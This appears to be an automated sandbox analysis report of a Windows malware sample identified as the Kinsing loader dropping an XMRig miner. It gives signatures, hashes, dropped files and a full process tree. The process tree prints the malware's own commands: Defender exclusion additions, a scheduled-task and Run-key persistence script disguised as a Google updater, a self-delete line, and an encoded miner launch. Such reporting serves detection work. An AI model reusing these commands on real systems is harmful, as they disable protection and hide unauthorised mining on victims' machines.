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24/01/2024, 17:15

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Analysis

  • max time kernel
    1799s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Kinsing

    Kinsing is a loader written in Golang.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 31 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3520
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3204
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3368
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1648
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4084
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3812
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4352
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3548
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:4528
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:2392
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:780
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:1572
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:4928
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1316
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:2816

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 246KB
                • SHA256 eb803e49810dc18eed7d9f0a07f72e2ef5511251e0891111f64915c6328aba46
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 693KB
                • SHA256 9d2d811e571e6e89fabf5de6dbc796d58ba6ae4eeb33a2ca9abd717bdb91d11f
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 0fe043e925e73fa82b319b13b93bf563834e56d520a3c793c78655c8988b439d
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_xo45xzye.jsg.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xo45xzye.jsg.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/780-124-0x00007FF70F2D0000-0x00007FF70F2E6000-memory.dmp

                memory/780-131-0x00007FF70F2D0000-0x00007FF70F2E6000-memory.dmp

                memory/1316-120-0x00007FF7EC8E0000-0x00007FF7ECAF1000-memory.dmp

                memory/1316-52-0x00007FF7EC8E0000-0x00007FF7ECAF1000-memory.dmp

                memory/1572-142-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-152-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-186-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-184-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-182-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-180-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-178-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-176-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-174-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-172-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-170-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-168-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-166-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-164-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-162-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-160-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-158-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-156-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-154-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-150-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-148-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-146-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-144-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-140-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-138-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-136-0x0000023672070000-0x0000023672090000-memory.dmp

                memory/1572-135-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-133-0x0000023672050000-0x0000023672070000-memory.dmp

                memory/1572-132-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-130-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-129-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-127-0x0000023672070000-0x0000023672090000-memory.dmp

                memory/1572-126-0x0000023672050000-0x0000023672070000-memory.dmp

                memory/1572-122-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-121-0x0000023671930000-0x0000023671950000-memory.dmp

                memory/1572-125-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp

                memory/1572-123-0x0000023672030000-0x0000023672050000-memory.dmp

                memory/1648-28-0x00007FF9D9150000-0x00007FF9D9C11000-memory.dmp

                memory/1648-31-0x00000184F4350000-0x00000184F4360000-memory.dmp

                memory/1648-29-0x00000184F4350000-0x00000184F4360000-memory.dmp

                memory/1648-33-0x00007FF9D9150000-0x00007FF9D9C11000-memory.dmp

                memory/1648-30-0x00000184F4350000-0x00000184F4360000-memory.dmp

                memory/3204-35-0x00007FF794E90000-0x00007FF7950A1000-memory.dmp

                memory/3204-0-0x00007FF794E90000-0x00007FF7950A1000-memory.dmp

                memory/3368-12-0x00000174FC610000-0x00000174FC620000-memory.dmp

                memory/3368-13-0x00000174FC610000-0x00000174FC620000-memory.dmp

                memory/3368-16-0x00007FF9D9150000-0x00007FF9D9C11000-memory.dmp

                memory/3368-10-0x00000174FC560000-0x00000174FC582000-memory.dmp

                memory/3368-11-0x00007FF9D9150000-0x00007FF9D9C11000-memory.dmp

                memory/3548-111-0x00000257445C0000-0x00000257445D0000-memory.dmp

                memory/3548-98-0x00000257445C0000-0x00000257445D0000-memory.dmp

                memory/3548-97-0x00007FF9D9150000-0x00007FF9D9C11000-memory.dmp

                memory/3548-110-0x00000257452E0000-0x0000025745395000-memory.dmp

                memory/3548-109-0x00000257445C0000-0x00000257445D0000-memory.dmp

                memory/3548-113-0x00007FF9D9150000-0x00007FF9D9C11000-memory.dmp

                memory/4084-46-0x00007FF9D9150000-0x00007FF9D9C11000-memory.dmp

                memory/4084-47-0x0000016D7D390000-0x0000016D7D3A0000-memory.dmp

                memory/4084-48-0x0000016D7D390000-0x0000016D7D3A0000-memory.dmp

                memory/4084-51-0x00007FF9D9150000-0x00007FF9D9C11000-memory.dmp

                memory/4352-79-0x0000024BF54E0000-0x0000024BF54FA000-memory.dmp

                memory/4352-76-0x0000024BF5330000-0x0000024BF533A000-memory.dmp

                memory/4352-74-0x0000024BF5250000-0x0000024BF526C000-memory.dmp

                memory/4352-75-0x0000024BF5270000-0x0000024BF5325000-memory.dmp

                memory/4352-62-0x00007FF9D9150000-0x00007FF9D9C11000-memory.dmp

                memory/4352-63-0x0000024BDBFD0000-0x0000024BDBFE0000-memory.dmp

                memory/4352-64-0x0000024BDBFD0000-0x0000024BDBFE0000-memory.dmp

                memory/4352-77-0x0000024BF54A0000-0x0000024BF54BC000-memory.dmp

                memory/4352-78-0x0000024BF5480000-0x0000024BF548A000-memory.dmp

                memory/4352-81-0x0000024BF54C0000-0x0000024BF54C6000-memory.dmp

                memory/4352-82-0x0000024BF54D0000-0x0000024BF54DA000-memory.dmp

                memory/4352-83-0x0000024BDBFD0000-0x0000024BDBFE0000-memory.dmp

                memory/4352-86-0x00007FF9D9150000-0x00007FF9D9C11000-memory.dmp

                memory/4352-80-0x0000024BF5490000-0x0000024BF5498000-memory.dmp